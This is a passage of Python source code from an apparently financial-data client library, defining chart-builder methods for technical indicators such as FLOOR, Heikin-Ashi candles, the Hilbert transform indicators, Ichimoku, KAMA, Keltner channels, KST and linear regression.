EXPEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_floor( self, exchange=None, country=None, series_type="close", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of FLOOR to chart builder Vector FLOOR(FLOOR) transform input data with mathematical floor function. This API call returns meta and time series values of FLOOR. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = FLOOREndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_heikinashicandles( self, exchange=None, country=None, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of HEIKINASHICANDLES to chart builder Heikin-Ashi Candles(HEIKINASHICANDLES) translating from Japanese it means "average bar". It can be used detect market trends and predict future price fluctuations.. This API call returns meta and time series values of HEIKINASHICANDLES. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = HEIKINASHICANDLESEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_price_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_hlc3( self, exchange=None, country=None, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of HLC3 to chart builder High, Low, Close Average(HLC3) gives alternative candlesticks patter. Every element is defined as follows: (high + low + close) / 3. This API call returns meta and time series values of HLC3. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = HLC3Endpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_price_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_ht_dcperiod( self, exchange=None, country=None, series_type="close", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of HT_DCPERIOD to chart builder Hilbert Transform Dominant Cycle Period(HT_DCPERIOD) is part of Hilbert Transforms concepts. You can reed more about it in the Rocket Science for Traders book by John F. Ehlers. This API call returns meta and time series values of HT_DCPERIOD. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = HT_DCPERIODEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_ht_dcphase( self, exchange=None, country=None, series_type="close", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of HT_DCPHASE to chart builder Hilbert Transform Dominant Cycle Phase(HT_DCPHASE) is part of Hilbert Transforms concepts. You can reed more about it in the Rocket Science for Traders book by John F. Ehlers. This API call returns meta and time series values of HT_DCPHASE. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = HT_DCPHASEEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_ht_phasor( self, exchange=None, country=None, series_type="close", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of HT_PHASOR to chart builder Hilbert Transform Phasor Components(HT_PHASOR) is part of Hilbert Transforms concepts. You can reed more about it in the Rocket Science for Traders book by John F. Ehlers. This API call returns meta and time series values of HT_PHASOR. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = HT_PHASOREndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_ht_sine( self, exchange=None, country=None, series_type="close", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of HT_SINE to chart builder Hilbert Transform SineWave(HT_SINE) is part of Hilbert Transforms concepts. You can reed more about it in the Rocket Science for Traders book by John F. Ehlers. This API call returns meta and time series values of HT_SINE. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = HT_SINEEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_ht_trendline( self, exchange=None, country=None, series_type="close", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of HT_TRENDLINE to chart builder Hilbert Transform Instantaneous Trendline(HT_TRENDLINE) comes from the concept of Digital Signal Processing (DSP). It creates complex signals from the simple chart data. You can reed more about it in the Rocket Science for Traders book by John F. Ehlers. This API call returns meta and time series values of HT_TRENDLINE. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = HT_TRENDLINEEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_ht_trendmode( self, exchange=None, country=None, series_type="close", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of HT_TRENDMODE to chart builder Hilbert Transform Trend vs Cycle Mode(HT_TRENDMODE) is part of Hilbert Transforms concepts. You can reed more about it in the Rocket Science for Traders book by John F. Ehlers. This API call returns meta and time series values of HT_TRENDMODE. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = HT_TRENDMODEEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_ichimoku( self, exchange=None, country=None, conversion_line_period=9, base_line_period=26, leading_span_b_period=52, lagging_span_period=26, include_ahead_span_period=True, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of ICHIMOKU to chart builder Ichimoku Kinkō Hyō(ICHIMOKU) is a group of technical indicators that shows trend direction, momentum, and support & resistance levels. Overall it tends to improve the accuracy of forecasts. This API call returns meta and time series values of HT_TRENDLINE. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param conversion_line_period: Takes values in the range from 1 to 800 :param base_line_period: Takes values in the range from 1 to 800 :param leading_span_b_period: Takes values in the range from 1 to 800 :param lagging_span_period: Takes values in the range from 1 to 800 :param include_ahead_span_period: Specifies if the span values ahead the current moment should be returned :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = ICHIMOKUEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, conversion_line_period=conversion_line_period, base_line_period=base_line_period, leading_span_b_period=leading_span_b_period, lagging_span_period=lagging_span_period, include_ahead_span_period=include_ahead_span_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_kama( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of KAMA to chart builder Kaufman's Adaptive Moving Average(KAMA) is a type of Moving Average(MA) that incorporates market noise and volatility. This API call returns meta and time series values of KAMA. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = KAMAEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_keltner( self, exchange=None, country=None, series_type="close", time_period=20, atr_time_period=10, multiplier=2, ma_type="SMA", outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of KELTNER to chart builder Keltner Channels(KELTNER) is a volatility indicator used to spot trend changes and accelerations. This API call returns meta and time series values of KELTNER. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param atr_time_period: Takes values in the range from 1 to 800 :param multiplier: Multiplier is the number by which the range is shifted :param ma_type: Type of Moving Average to be used :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = KELTNEREndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, atr_time_period=atr_time_period, multiplier=multiplier, ma_type=ma_type, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_kst( self, exchange=None, country=None, roc_period_1=10, roc_period_2=15, roc_period_3=20, roc_period_4=30, signal_period=9, sma_period_1=10, sma_period_2=10, sma_period_3=10, sma_period_4=15, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of KST to chart builder Know Sure Thing(KST) calculates price momentum for four distinct price cycles(ROC). This API call returns meta and time series values of KST. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param roc_period_1: :param roc_period_2: :param roc_period_3: :param roc_period_4: :param signal_period: :param sma_period_1: :param sma_period_2: :param sma_period_3: :param sma_period_4: :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = KSTEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, roc_period_1=roc_period_1, roc_period_2=roc_period_2, roc_period_3=roc_period_3, roc_period_4=roc_period_4, signal_period=signal_period, sma_period_1=sma_period_1, sma_period_2=sma_period_2, sma_period_3=sma_period_3, sma_period_4=sma_period_4, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_linearreg( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of LINEARREG to chart builder Linear Regression(LINEARREG) is used to determine trend direction by a straight line. This API call returns meta and time series values of LINEARREG. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = LINEARREGEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_linearregangle( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of LINEARREGANGLE to chart builder Linear Regression Angle(LINEARREGANGLE) calculates the angle of the linear regression trendline. This API call returns meta and time series values of LINEARREGANGLE. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = LINEARREGANGLEEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_linearregintercept( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of LINEARREGINTERCEPT to chart builder Linear Regression Intercept(LINEARREGINTERCEPT) calculates the intercept for the linear regression trendline for each data point. This API call returns meta and time series values of LINEARREGINTERCEPT. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats :param dp: Specifies number of decimal places for floating values :param timezone: Timezone at which output datetime will be displayed Exchange for local exchange time2. UTC for datetime at universal UTC standard3. Timezone name according to IANA Time Zone Database. E.g. America/New_York, Asia/Singapore. Full list of timezones can be found here.Take note that IANA Timezone name is case-sensitive. :param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities. :returns: chart builder :rtype: ChartEndpoint """ ep = LINEARREGINTERCEPTEndpoint( ctx=self.ctx, symbol=self.ctx.defaults["symbol"], interval=self.ctx.defaults["interval"], exchange=exchange, country=country, series_type=series_type, time_period=time_period, outputsize=outputsize, start_date=start_date, end_date=end_date, dp=dp, timezone=timezone, prepost=prepost ) return self._with_endpoint(ep) @force_use_kwargs @apply_context_defaults def with_linearregslope( self, exchange=None, country=None, series_type="close", time_period=9, outputsize=30, start_date=None, end_date=None, dp=5, timezone="Exchange", prepost="false" ): """ Add request builder of LINEARREGSLOPE to chart builder Linear Regression Slope(LINEARREGSLOPE) calculates the slope for the linear regression trendline for each data point. This API call returns meta and time series values of LINEARREGSLOPE. Meta object consists of general information about requested technical indicator. Time series is the array of objects ordered by time desceding updated realtime. :param symbol: Instrument symbol, can be any stock, forex or cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ... :param interval: Interval between two consecutive points in time series :param exchange: Only is applicable to stocks and cryptocurrencies otherwise is ignored Exchange where instrument is traded :param country: Only is applicable to stocks otherwise is ignored Country where instrument is traded :param series_type: Price type on which technical indicator is calculated :param time_period: Number of periods to average over. Must be at least 1 :param outputsize: Number of last datapoints to retrieve :param start_date: Start date of selection, accepts 